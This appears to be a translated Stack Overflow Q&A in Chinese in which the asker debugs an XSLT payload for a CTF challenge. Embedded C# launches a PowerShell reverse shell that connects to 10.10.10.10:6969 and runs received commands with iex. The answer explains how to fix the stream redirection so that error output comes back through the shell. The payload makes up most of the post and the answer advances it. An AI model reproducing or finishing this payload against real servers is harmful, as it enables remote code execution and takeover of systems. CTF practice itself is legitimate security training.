c# - 使用powershell反向shell
问题描述
我正在为 CTF 挑战编写有效负载以获得反向 shell。但是代码的某些部分导致 XSLT 编译错误。该漏洞利用python编写,payload变量如下:
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "$client = New-Object System.Net.Sockets.TCPClient(\'10.10.10.10\',6969);\
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};\
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); \
$sendback = \'M \'; $sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \'; \
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);\
$stream.Flush();};$client.Close()"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
$sendback的值应该是(iex $data 2>&1 | Out-String )(我现在写了 'M' 来排除故障),但是当替换为 iex 命令时会导致 XSLT 编译错误。
问题是什么?
编辑:我缩小了问题范围,$sendback=(iex $data | Out-String)
但不能使用"2>&1",为什么?
解决方案
根据您的编辑,我的猜测是您的 StartInfo 属性不完整。您的 PowerShell 正在尝试重定向流,但您在流程执行中识别的唯一流是 STDOUT。请参阅 MSDN 上 ProcessStartInfo 中的这个花絮:
标准输入通常是键盘,标准输出和标准错误通常是监视器屏幕。但是,您可以使用 RedirectStandardInput、RedirectStandardOutput 和 RedirectStandardError 属性使进程从文件或其他设备获取输入或将输出返回到文件或其他设备。如果在 Process 组件上使用 StandardInput、StandardOutput 或 StandardError 属性,则必须首先在 ProcessStartInfo 属性上设置相应的值。否则,当您读取或写入流时,系统会抛出异常。
..我的大胆。所以我会更新您的 System.Diagnostics.Process.StartInfo 属性以包含您想要捕获的所有流(例如proc.StartInfo.RedirectStandardError = true;
)
推荐阅读
- node.js - ubuntu 上的 Expo CLI 问题
- react-native - React Native Super Grid of Images 无法渲染图像
- python - 批量操作后,如何在第二个轴上堆叠 Tensorflow 数据集张量?
- python - 删除使用 .place 调用的 tkinter 小部件
- html - 我不能把关键帧放在整个 Div
- node.js - 创建动态音频广播流(node、ffmpeg、..?)
- docker - 如何使用 dotnet publish 为依赖项生成 runtimeconfig.json
- python - 从多索引 DataFrame 中搜索和处理数据
- machine-learning - k折交叉验证的最佳折数
- python - 使用列的 POS(在 pandas 中)